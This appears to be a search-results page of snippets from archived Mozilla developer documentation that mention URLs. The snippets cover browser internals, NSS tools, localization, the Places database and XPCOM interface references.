...ield icon in the domain column. in the sample image below, trackertest.org is classified as a tracking resource, while the request to example.com is not. adding custom domains to the tracking protection list curious how things will work if a third-party domain on your site were classified as a tracker? we’ve added a preference that allows you to add custom domains to the tracking protection
url classifier. to do so: type about:config in your address bar. if you are presented with a page that warns you "this may void your warranty!", click "i accept the risk!" search for the preference name "
urlclassifier.trackingannotationtable.testentries". if the preference already exists, edit the preference value. if the preference does not exist, click "string" and then "+" to create a new pr...
... website and the conversion will not be tracked. we expect that this version of click-through conversion will no longer work. you run an ad that appears on a social media website. a user clicks on your advertisement and is taken to a landing page that contains a conversion tracking tag from the third-party network. on the social media website, the network annotates the advertisement landing page
url with a query parameter that signals that the visit was the result of a click on an advertisement. on your website, the display network’s tag checks the
url query parameters and saves any ad tracking parameters to first-party storage. if a user later completes a conversion event, the network’s tag checks first-party storage to determine which click (or clicks) was responsible for the visit. we...
mozbrowseropentab
type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...ring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the new document loaded. ...
...stom object. details the details property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the new document loaded. ...
HTTP Cache
he entry-point. accessible as a service only, fully thread-safe, scriptable. //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorageservice.idl "@mozilla.org/netwerk/cache-storage-service;1" provides methods accessing “storage” objects – see nsicachestorage below – giving further access to cache entries – see nsicacheentry more below – per specific
url. currently we have 3 types of storages, all the access methods return an nsicachestorage object: memory-only (memorycachestorage): stores data only in a memory cache, data in this storage are never put to disk disk (diskcachestorage): stores data on disk, but for existing entries also looks into the memory-only storage; when instructed via a special argument also pri...
...o arguments are strictly and completely distinct and cache entries in them do not overlap even when having the same uris. nsicachestorage //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorage.idl obtained from call to one of the *storage methods on nsicachestorageservice. represents a distinct storage area (or scope) to put and get cache entries mapped by
urls into and from it. similarity with the old cache: this interface may be with some limitations considered as a mirror to nsicachesession, but less generic and not inclining to abuse. unimplemented or underimplemented functionality: asyncevictstorage (bug 977766), asyncvisitstorage (bug 916052) nsicacheentryopencallback //github.com/realityripple/uxp/blob/master/netwe...
...e manner - count the number of consumers keeping a reference on each entry. the open callback actually doesn't give the consumer directly the cacheentry object but a small wrapper class that manages the 'consumer reference counter' on its cache entry. this both mechanisms ensure thread-safe access and also inability to have more then a single instance of a cacheentry for a single <scope+enhanceid+
url> key. cachestorage, implementing the nsicachestorage interface, is forwarding all calls to internal methods of cachestorageservice passing itself as an argument. cachestorageservice then generates the scope key using the nsiloadcontextinfo of the storage. note: cachestorage keeps a thread-safe copy of nsiloadcontextinfo passed to a *storage method on nsicachestorageservice. invoking open callb...
How to Report a Hung Firefox
r: download crashfirefox.exe here (source code). running this tool will search for firefox.exe and inject crashing code into it. the tool also has command-line options to kill processes with other names or by process id. run the crashfirefox.exe tool. the firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the
url bar and click on the top listing. the crash report should look something like this report, which is an example of bug 1132241. create a new bug report at bugzilla.mozilla.org using this link. linux and mac on linux and mac (firefox >=27), sending sigabrt to a process will trigger the crash reporter. you can use any process monitoring tool to find the firefox process id (pid). then, in a t...
... you can use any process monitoring tool to find the firefox process id (pid). then, in a terminal, kill firefox using a command such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the
url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. all os as long as you do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to...
...a.org using this link. all os as long as you do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to send the crash report to mozilla start firefox. type "about:crashes" in the
url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. another way to trigger a crash in a hung tab is to run the following script in the browser console (opened after selecting the hung tab): let wm = cc["@mozilla.org/appshell/window-mediator;1"]. getservice(ci.nsiwindowmediator); let win = wm.getmostrecentwindow("navigator:browser"); let...
Internationalized Domain Names (IDN) Support in Mozilla Browsers
tp://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn sends a request to a nearest domain name server to return an ip address that corresponds to the host name. this ip address is then used to connect to the web server in question. idn allows host/domain names with non-ascii characters for user input into a browser's location bar or
url's embedded in web pages. at the network protocol level, there is no change in the restriction that only a subset of ascii characters be used in
url/uri. if end users input non-ascii characters as part of a domain name or if a web page contains a link using a non-ascii domain name, the application must convert such input into a special encoded format using only the usual ascii subset characters. r...
...on of the icann guideline for idn in june of 2003. (cf. icann = internet corporation for assigned names and numbers.) the guideline allows domain name registrars in each country to limit the use of characters for domain names. since the unicode repertoire contains characters no longer used in any living languages and there are also living characters in most languages that are not suitable for uri/
url creation, the icann guideline allows the governing body of each country's domain registrars to set appropriate limitations on the use of characters. with this last piece of obstacle for standardization out of the way, domain name registrars are expected to move forward on implementing the new rfc's for existing and future idn registrations quickly. jprs (japan registry service) decided to move ...
...ing known as race or row-based ascii compatible encoding, which was not accepted as a standard by ietf. if you find idn test sites under the .com and .net top domains, and if you cannot successfully access these sites, you can use the following workaround until the conversion to punycode is completed for these top domains: using netscape 7.1 or mozilla 1.4: type about:config into the location/
url bar. this will list all the preferences for your current profile. these preferences can be modified or new ones can be created without quitting the browser using the steps described below. create a new preference item using the menu new > string via a right-mouse click. the name of the preference is: network.idn_prefix. the value should be "bq--". this will change the default from puncycode to r...
Add-on Manager
(function(aaddons) { // here aaddons is an array of addon objects }); // this code will execute before the code inside the callback notifications about changes to installed add-ons are dispatched to any registered addonlisteners. they must be registered through the addaddonlistener() method. ...
...t be registered through the addaddonlistener() method. installing new add-ons new add-ons can be installed by using the getinstallforfile() or getinstallfor
url() methods on the addonmanager object. these will pass an addoninstall instance to the callback, which can then be used to install the add-on: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getinstallfor
url("http://www.foo.com/test.xpi", function(ainstall) { // ainstall is an instance of addoninstall ainstall.install(); }, "application/x-xpinstall"); the progress of addoninstalls can be monitored using an installlistener. a listener can be registered either for a specific install using the addlistener() method or for all installs using the addinstalllistener() method. finding updates add-ons...
... read more about it at this topic here on mozilla add-ons forum :: how to open an add-on's preference panel? and also here mdn :: inline options - opening inline options in add-on manager. these pages show you how to load pages such as services page etc. ...
Localization content best practices
e string or, if there is a significant need for a placeholder, use a placeholder. the word version may have to go before or after flash and one or both may need to be inflected. idiom idiom, in a loose sense, also has an impact on localization if it leads to strings being prepared in a way that renders them unlocalizable. for example, in english all the following begin with the same clause: the
url of this feed is invalid; the
url of this feed cannot be reached; the
url of this feed cannot be parsed. it might be tempting to 'save time' by presenting this as the
url of this feed %s and then is invalid; cannot be reached and cannot be parsed. however, linguistically these are different types of sentences and will be handled differently in other languages. this is usually not a case of transla...
...might be tempting to 'save time' by presenting this as the
url of this feed %s and then is invalid; cannot be reached and cannot be parsed. however, linguistically these are different types of sentences and will be handled differently in other languages. this is usually not a case of translator choice but obligatory in the language. for example, in gaelic these sentences must be translated as tha
url an inbhir seo mì-dhligheach;cha ruig sinn
url an inbhir seo and cha ghabh
url an inbhir seo a pharsadh. unless there are significant savings of translation volume involved, it is usually easier and quicker for translators to handle these as fixed strings rather than composed strings, especially considering the time needed for locating, checking and potentially fixing composed strings. case a...
...eveloper could be tempted to reuse the same string "bookmark" in the button to add a bookmark, and in the header for the next dialog. this won't work in some languages. avoid unnecessary complexity in strings consider this string: privacy-link = <p>by proceeding you accept the <a href="https://www.mozilla.org/privacy" class="external">privacy terms</a>.</p> in this case, you shouldn't put the
url inside the localization string, unless you need it to be localizable. if you change the
url, you're going to need a new string id; the same goes for the anchor's attributes, or the paragraph markup. instead, you should use the following strings # localization note(privacy-text): {{link}} will be replaced at run-time # by an active link. string with id 'privacy-link' will be used as text # for th...
Release phase
n getting your release repository setup and the mercurial commands you'll need to know to use that repository. for more information on the release part of the l10n process, visit the mozilla wiki here. your official release repository now that your locale has been registered, the localization files will live on mozilla mercurial server at hg.mozilla.org. depending on which branch you work on, the
url of your repository might look like this: http://hg.mozilla.org/releases/l10n-central/x-testing if you followed the koala or plain text approach, you probably already have a local clone of the repository. otherwise, in order to be able to make any changes to the localization files, you will need to clone the repository on your local machine and work in the local clone. there are two different pro...
...you should now be able to push to the remote repository! commit, outgoing, and push you should try to commit your work regularly as you progress through the localization files. keep in mind that the hg commit command will save your changes locally (in the local clone). with the hg push command you ca...
...you should now be able to push to the remote repository! commit, outgoing, and push you should try to commit your work regularly as you progress through the localization files. keep in mind that the hg commit command will save your changes locally (in the local clone). with the hg push command you can send the changesets to the remote ...
Mozilla DOM Hacking Guide
getelementbyid() on the nsidomdocument interface. and indeed it will find it, and thus call it. this is the schema used most of the time when using w3c dom objects and methods. it is however different for some dom level 0 objects and methods. i'll take two very different examples. the first one is the window.location object (the same holds true for document.location, actually). we can change the
url of the current window by assigning window.location. in idl, location is declared to be a readonly attribute. this is because, if we had a setlocation() method, it would take an nsidomlocation parameter, and not a
url string. instead, in the helper class for the window object (nswindowsh, see the next section), we define the getproperty() member function. getproperty() is a function used by xpconn...
... this is the first step. it is required to have the getter for .location work as well, but that's another story. the second step is to map .location to .location.href in nswindowsh::setproperty() if (str == slocation_id) { // setting the location property jsstring *val = ::js_valuetostring(cx, *vp); ns_ensure_true(val, ns_error_unexpected); // convert the value assigned to location (i.e. the
url) to a jsstring. nscomptr<nsisupports> native; wrapper->getnative(getter_addrefs(native)); // get the pointer to the content object that was wrapped. nscomptr<nsidomwindow> window(do_queryinterface(native)); ns_ensure_true(window, ns_error_unexpected); // queryinterface to have a nsidomwindow pointer to call // getlocation() on it. nscomptr<nsidomlocation> location; nsresult rv = wi...
...} it's that simple. and the possibilities are endless. resources of interest the xpidl reference mapping dom objects to their c++ class modularization techniques scriptable helper flags this chapter has not been written yet. if you want to help please contact me! security features implementation this chapter has not been written yet. if you want to help please contact me! ...
Profiling with the Firefox Profiler
at particular frame and not the total of all called instances of that function. you can see the samples in the timeline get darker as you select different functions in the call tree; these are samples that were taken when the selected function was running. "filter stacks" will allow you to search for functions by name. one of the easiest ways to find slowness caused by a page's js is to type its
url into the "filter stacks" box. you can then select corresponding call tree entries and watch the timeline for entries in the content process main thread that get darker as you select call tree entries. tip: if things are blank elsewhere in the ui, you may have text entered into the "filter stacks" box. custom annotations in bug 1334218 an annotation was added to presshell::paint to show the u...
... tips understanding profiles can be difficult. ...
... tips understanding profiles can be difficult. if you're unfamiliar with gecko's internals, you can click the javascript only button to see where your javascript code is slow. each entry in the call tree shows a call stack and how much time is spent in that call stack. ...
NSS_3.12_release_notes.html
56: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous comments in der_asciitotime bug 422866: vfychain -pp command crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/content/resetpassword.xul in
url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_findusercertbyusage() returns wrong certificate if multiple certs with same subject available bug 404919: memory leak in sftkdb_readsecmoddb() (sftkmod.c) bug 406120: allow application to specify ocsp timeout bug 361025: support for camellia cipher suites to tls rfc4132 bug 376417: pk11_generatekeypa...
...5966: infinite recursive call in vfy_verifydigestdirect bug 382078: pkix default http client returns error when try to get an ocsp response. ...
...sh [[@ nsc_digestkey] dereferencing possibly null att bug 343231: certutil issues certs for invalid requests bug 353371: klocwork 91117 - null pointer dereference in cert_certchainfromcert bug 353374: klocwork 76494 - null ptr derefs in cert_formatname bug 353375: klocwork 76513 - null ptr deref in nsscertificatelist_docallback bug 353413: klocwork 76541 free uninitialized pointer in cert_findcert
urlextension bug 353416: klocwork 76593 null ptr deref in nsscryptokiprivatekey_setcertificate bug 353423: klocwork bugs in nss/lib/pk11wrap/dev3hack.c bug 353739: klocwork null ptr dereferences in instance.c bug 353741: klocwork cascading memory leak in mpp_make_prime bug 353742: klocwork null ptr dereference in ocsp_decoderesponsebytes bug 353748: klocwork null ptr dereferences in pki3hack.c bug 35...
NSS tools : crlutil
nickname string with quotation marks if it contains spaces. -o output-file specify the output file name for new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u
url specify the
url. crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z * add a...
...ion list management tool's capabilities are grouped as follows, using these combinations of options and arguments. options and arguments in square brackets are optional, those without square brackets are required. see "implemented extensions" for more information regarding extensions and their parameters. ...
...the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/. for information specifically about nss, the nss project wiki is located at [2]http://www.mozilla...
sslintro.html
. sets the global callback function to obtain passwords for pkcs #11 modules. required. nss_init. sets up configuration files and performs other tasks required to run network security services. nss_init is not idempotent, so call it only once. required. ssl_optionsetdefault. changes default values for all subsequently opened sockets as long as the application is running (compare with ssl_set
url which only configures the socket that is currently open). this function must be called once for each default value that needs to be changed. optional. nss_setdomesticpolicy, nss_setexportpolicy, nss_setfrancepolicy, or ssl_cipherpolicyset. these functions tell the library which cipher suites are permitted by policy (for example, to comply with export restrictions). cipher suites disabled by po...
...king. optional. ssl_optionset. sets a single configuration parameter of a specified socket. this function must be called once for each parameter whose settings you want to change from those established with ssl_optionsetdefault. optional. ssl_configsecureserver. for servers only. configures the socket with the information needed to handshake as an ssl server. required for servers. ssl_set
url. for clients only. records the target server
url for comparison with the
url specified by the server certificate. required for clients. callbacks and helper functions allow you to specify such things as how authentication is accomplished and what happens if it fails. ssl_setpkcs11pinarg. sets the argument passed to the pkcs #11 password callback function. required. ssl_authcertificatehoo...
...after these tasks have been performed, call nss_shutdown to close the certificate and key databases opened by nss_init, and pr_cleanup to coordinate a graceful shutdown of nspr. ...
NSS Tools crlutil
fy the output file name for new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u
url specify the
url. crl generation script syntax: crl generation script file has the following syntax: line with comments should have <bold>#</bold> as a first symbol of a line set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update"...
...y date of a cert. date should be represented in generalizedtime format (yyyymmddhhmmssz). usage the certificate revocation list management tool's capabilities are grouped as follows, using these combinations of options and arguments. options and arguments in square brackets are optional, those without square brackets are required. ...
...options and arguments. options and arguments in square brackets are optional, those without square brackets are required. ...
NSS tools : crlutil
tput-file specify the output file name for new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u
url specify the
url. crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for examp...
...ment tool's capabilities are grouped as follows, using these combinations of options and arguments. options and arguments in square brackets are optional, those without square brackets are required. see "implemented extensions" for more information regarding extensions and their parameters. ...
...the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/. for information specifically about nss, the nss project wiki is located at [2]http...
Setting up an update server
mar file in it. then, create a file within called update.xml with these contents, replacing <mar name>, <hash> and <size> with the mar's filename, its sha512 hash, and its file size in bytes. ...
...esired update. you can use this command with firefox's browser console to determine the update directory: const {fileutils} = chromeutils.import("resource://gre/modules/fileutils.jsm"); fileutils.getdir("updrootd", [], false).path once you have determined the update directory, close firefox, browse to the directory and remove the subdirectory called updates. next, you need to change the update
url to point to the local xml file. this can be done most reliably with an enterprise policy. the policy file location depends on the operating system you are using. windows/linux: <install dir>/distribution/policies.json macos: <install dir>/contents/resources/distribution/policies.json create the distribution directory, if necessary, and put this in policies.json: { "policies": { "appupda...
...o point to the local xml file. this can be done most reliably with an enterprise policy. the policy file location depends on the operating system you are using. windows/linux: <install dir>/distribution/policies.json macos: <install dir>/contents/resources/distribution/policies.json create the distribution directory, if necessary, and put this in policies.json: { "policies": { "appupdate
url": "http://127.0.0.1:8000/update.xml" } } now you are ready to update! launch firefox out of its installation directory and navigate to the update section about:preferences. you should see it downloading the update to the update directory. since the transfer is entirely local this should finish quickly, and a "restart to update" button should appear. click it to restart and apply the update. ...
The Places database
this document provides a high-level overview of the overall database design of the places system. places is designed to be a complete replacement for the firefox bookmarks and history systems using storage. the places schema looks like so: core
url table moz_places: this is the main table of uris and is managed by the history service (see also history service design). any time a places component wants to reference a
url, whether visited or not, it refers to this table. ...
... history tables moz_historyvisits: one entry in this table is created each time you visit a page. it contains the date, referrer, and other information specific to that visit. ...
...vice (see also history service design). any time a places component wants to reference a
url, whether visited or not, it refers to this table. each entry has an optional reference to the moz_favicon table to identify the favicon of the page. no two entries may have the same value in the
url column. moz_hosts: one entry in this table is created each time you visit a new host. it contains the host
url, frequency of access, if typed or not, and it's prefix (https://, ftp://, etc). history tables moz_historyvisits: one entry in this table is created each time you visit a page. it contains the date, referrer, and other information specific to that visit. it contains a reference to the moz_places table which contains the
url and other global statistics. see history service design for more i...
Using the Places tagging service
uris for a given tag, and to retrieve all tags for a uri. initiating the tagging service before using the tagging service, you need to obtain a reference to an instance of it: var taggingsvc = components.classes["@mozilla.org/browser/tagging-service;1"] .getservice(components.interfaces.nsitaggingservice); tagging a uri the nsitaggingservice.taguri() method tags a
url with the given set of tags. current tags set for the
url persist, and tags which are already set for the given
url are ignored. taggingsvc.taguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) where uri() is probably similar to makeuri(). untagging a uri nsitaggingservice.untaguri() ...
...of tags. current tags set for the
url persist, and tags which are already set for the given
url are ignored. taggingsvc.taguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) where uri() is probably similar to makeuri(). untagging a uri nsitaggingservice.untaguri() removes tags from a
url. from the given set of tags, a tag is ignored if it isn't set for the given
url. tagginsvc.untaguri(uri("http://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) finding all
urls with a given tag the nsitaggingservice.geturisfortag() method returns an array of all
urls tagged with the given tag. v...
...ttp://example.com/"), ["tag 1"]); //first argument = uri //second argument = array of tag(s) finding all
urls with a given tag the nsitaggingservice.geturisfortag() method returns an array of all
urls tagged with the given tag. var tag1uris = taggingsvc.geturisfortag("tag 1"); //"tag 1" = given tag getting all tags associated with a
url the nsitaggingservice.gettagsforuri() method returns an array of all tags set for the given
url. var tags = taggingsvc.gettagsforuri(uri("http://example.com/", {})); //tags = an array of tags stored in http://example.com/ see also places nsitaggingservice ...
Components.utils.import
omponents.utils.import was introduced in firefox 3 and is used for sharing code between different scopes easily. for example, you can import xpcomutils.jsm to avoid copy/pasting long xpcom component registration boilerplate in your component files. see using javascript code modules for more details. ...
... for sharing code between different scopes easily. for example, you can import xpcomutils.jsm to avoid copy/pasting long xpcom component registration boilerplate in your component files. see using javascript code modules for more details. note: prior to gecko 2.0, javascript code modules could only be loaded using file: or resource:
urls. gecko 2.0 adds support for loading modules from chrome:
urls, even those inside jar archives. syntax components.utils.import(
url [, scope]); // or, if you use a tool such as jslint which reports compiler errors for the above, components.utils["import"](
url [, scope]); parameters
url a string of the
url of the script to be loaded. the
url must point to a file on the disk, possibly in a jar. scope an optional object to import onto; if omitted, t...
...s invoked, with the caller's global object. components.utils.import evaluates the code of each module only once, in its own scope. for example: var scope1 = {}, scope2 = {}; components.utils.import("resource://gre/modules/json.jsm", scope1); components.utils.import("resource://gre/modules/json.jsm", scope2); assert(scope2.xpcomutils === scope1.xpcomutils); ...returns true, whereas: var some
url = "resource://gre/modules/json.jsm"; var obj1 = {}, obj2 = {}; var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript(some
url, obj1); loader.loadsubscript(some
url, obj2); assert(obj2 === obj1); ...returns false. this means components.utils.import is better suited for efficien...
nsICRLManager
void deletecrl...
...void deletecrl( in unsigned...
...importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey ); parameters data length uri type dosilentdownload crlkey reschedulecrlautoupdate() this would reschedule the autoupdate of crls with auto update enable. void reschedulecrlautoupdate(); parameters none. updatecrlfrom
url() update an existing crl from the last fetched
url. needed for the update button in crl manager. boolean updatecrlfrom
url( in wstring
url, in wstring key ); parameters
url key return value ...
nsIDOMWindowInternal
resizeby(in long widthdif, in long heightdif) void scroll(in long xscroll, in long yscroll) nsidomwindow window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. ...
... a reference to the window that opened this current window. status domstring sets the text in the status bar at the bottom of the browser or returns the previously set text. defaultstatus domstring gets/sets the status bar text for the given window. location nsidomlocation readonly: returns a nsidomlocation object, which contains information about the
url of the document. innerwidth long width of the browser window. innerheight long height of the browser window. outerwidth long gets the width of the outside of the browser window. outerheight long gets the height of the outside of the browser window. screenx long the horizontal distance of the left border of the user's brows...
...e maximum number of pixels that the document can be scrolled vertically. length unsigned long readonly: returns the number of frames in the window. fullscreen boolean whether the window is displayed in full screen mode or not frameelement nsidomelement readonly: the element in which the window is embedded, or null if the window is top-level.
url nsidommoz
urlproperty readonly: a dom
url object, which provides the window.
url.createobject
url() and window.
url.revokeobject
url() methods. note: prior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), this attribute was part of nsidomwindow_2_0_branch. ...
Using nsILoginManager
ng login information. getting nsiloginmanager to get a component implementing nsiloginmanager, use the following: var passwordmanager = components.classes["@mozilla.org/login-manager;1"].getservice( components.interfaces.nsiloginmanager ); most login manager functions take an nsilogininfo object as a parameter. an nsilogininfo object contains the following attributes: hostname, form submit
url, http realm, username, username field, password, and password field. the hostname, username and password attributes are mandatory, while the other fields are set based on whether the login is for a web page form or an http/ftp authentication site login. see the nsilogininfo attribute definitions for more details. defining an nsilogininfo object is simple: var nslogininfo = new components.constr...
... are set based on whether the login is for a web page form or an http/ftp authentication site login. see the nsilogininfo attribute definitions for more details. ...
...ed server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmit
url, ausername, ausernamefield, ...
nsIMsgIncomingServer
charvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamechanged(in acstring oldname, in acstring newname); void performbiff(in nsi...
...sgsearchscopevalue read only. serverbusy boolean serverrequirespasswordforbiff boolean read only. serveruri acstring read only. sockettype long spamfilterplugin nsimsgfilterplugin read only. spamsettings nsispamsettings spam settings. read only. supportsdiskspace boolean read only. type acstring protocol type, that is "pop3", "imap", "nntp", "none", and so on. used to construct
urls. username acstring userid to log into the server. usesecauth boolean valid boolean constants constant value description defaultsocket 0 trytls 1 alwaysusetls 2 usessl 3 keepdups 0 deletedups 1 movedupstotrash 2 markdupsread 3 methods clearallvalues() this is really dangerous. this destroys all pref values do not call this unless you know what you're doi...
...sing description getmsgfolderfromuri() nsimsgfolder getmsgfolderfromuri( in nsimsgfolder afolderresource, in acstring auri ); parameters afolderresource missing description auri missing description return value missing description exceptions thrown missing exception missing description getnewmessages() void getnewmessages( in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener ); parameters afolder missing description amsgwindow missing description a
urllistener missing description exceptions thrown missing exception missing description getpasswordwithui() acstring getpasswordwithui( in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue ); parameters apromptstring missing description apro...
nsIPushService
back); void unsubscribe(in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback); methods subscribe() creates a push subscription. void subscribe( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the serviceworkerregistration.scope for a service worker subscription, or a unique
url (for example, chrome://my-module/push) for a system subscription. principal the nsiprincipal to associate with the subscription. privileged code should pass the system principal. callback the callback to call when the nsipushsubscription is created. passing the system principal exempts the subscription from permission checks and background messages quotas, which are enforced for service wo...
... code); return; } // `subscription` implements `nsipushsubscription`. subscription.endpoint; subscription.getkey("p256dh"); subscription.getkey("auth"); } ); getsubscription() fetches an existing subscription. void getsubscription( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the unique scope
url, as passed to nsipushservice.subscribe(). principal the subscription nsiprincipal, as passed to nsipushservice.subscribe(). callback the callback to call with the fetched nsipushsubscription. example pushservice.getsubscription( "chrome://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporter...
...de); return; } // `subscription == null` if the `(scope, principal)` pair doesn't have a // push subscription. otherwise, it's an instance of `nsipushsubscription`. } ); unsubscribe() drops an existing push subscription. void unsubscribe( in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback ); parameters scope the unique scope
url, as passed to nsipushservice.subscribe(). principal the subscription nsiprincipal, as passed to nsipushservice.subscribe(). callback the callback to call when the nsipushsubscription is dropped. example pushservice.unsubscribe( "chrome://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, ok) => { if (!components.issuccesscode(code)) { cu.reporterror("error ...
nsIScriptError
ated. this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid(). read only. sourceline astring the line from the file specified by sourcename. you are responsible for providing that line. you may pass null if you are lazy; that will prevent showing the source line in javascript console. read only. sourcename astring the
url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real
url. you may pass null if it's not applicable. read only. timestamp long long elapsed time, in milliseconds, from a platform-specific zero time to the time the message was created. read only. flag constants constant value description ...
...g 0x8 just a log message methods init() initializes the object with information describing the error which occurred. void init( in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category ); parameters message the text of the message to add to the log. sourcename the
url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real
url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will prevent showing the source line in javascript console. linenumber ...
...ided by the nsiscripterror2 interface, which has now been merged into this one. void initwithwindowid( in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid ); parameters message the text of the message to add to the log. sourcename the
url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real
url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will prevent showing the source line in javascript console. linenumber ...
nsISearchEngine
ad only. hidden boolean whether the engine should be hidden from the user. iconuri nsiuri a nsiuri corresponding to the engine's icon, stored locally. may be null. read only. name astring the display name of the search engine. this is a unique identifier. read only. searchform astring a
url string pointing to the engine's search form. read only. type long the search engine type. read only. constants search engine type constants constant value description type_mozsearch 1 type_sherlock 2 type_opensearch 3 search engine data...
...s(). void addparam( in astring name, in astring value, in astring responsetype ); parameters name the name of the parameter to add. value the value to pass. if value is "{searchterms}", it will be substituted with the user-entered data when retrieving the submission. must not be null. responsetype since an engine can have several different request
urls, differentiated by response types, this parameter selects a request to add parameters to. if null, will default to "text/html" exceptions thrown ns_error_invalid_arg if name or value are null. ns_error_failure if the search engine is read-only. getsubmission() gets a nsisearchsubmission object that contains information about what to send to the search engine, inclu...
...ered in the ui. possible values depend on the application's installed search engines. return value an nsisearchsubmission supportsresponsetype() determines whether the engine can return responses in the given mime type. boolean supportsresponsetype( in astring responsetype ); parameters responsetype the mime type to check for. return value returns true if the engine spec has a
url with the given responsetype, false otherwise. see also nsisearchsubmission nsibrowsersearchservice ...
nsIStringBundleOverride
-override;1"] .getservice(components.interfaces.nsistringbundleoverride); note: you should never need to use this service directly. instead, the string bundle service will automatically try to load this service. if there is no custom-strings.txt file then the service will fail to load. method overview nsisimpleenumerator enumeratekeysinbundle(in autf8string
url); astring getstringfromname(in autf8string
url, in acstring key); methods enumeratekeysinbundle() get all override keys for a given string bundle. nsisimpleenumerator enumeratekeysinbundle( in autf8string
url ); parameters
url the
url of the original string bundle whose keys are to be overridden. return value an enumeration of nsipropertyelement objects for the keys that are overridden ...
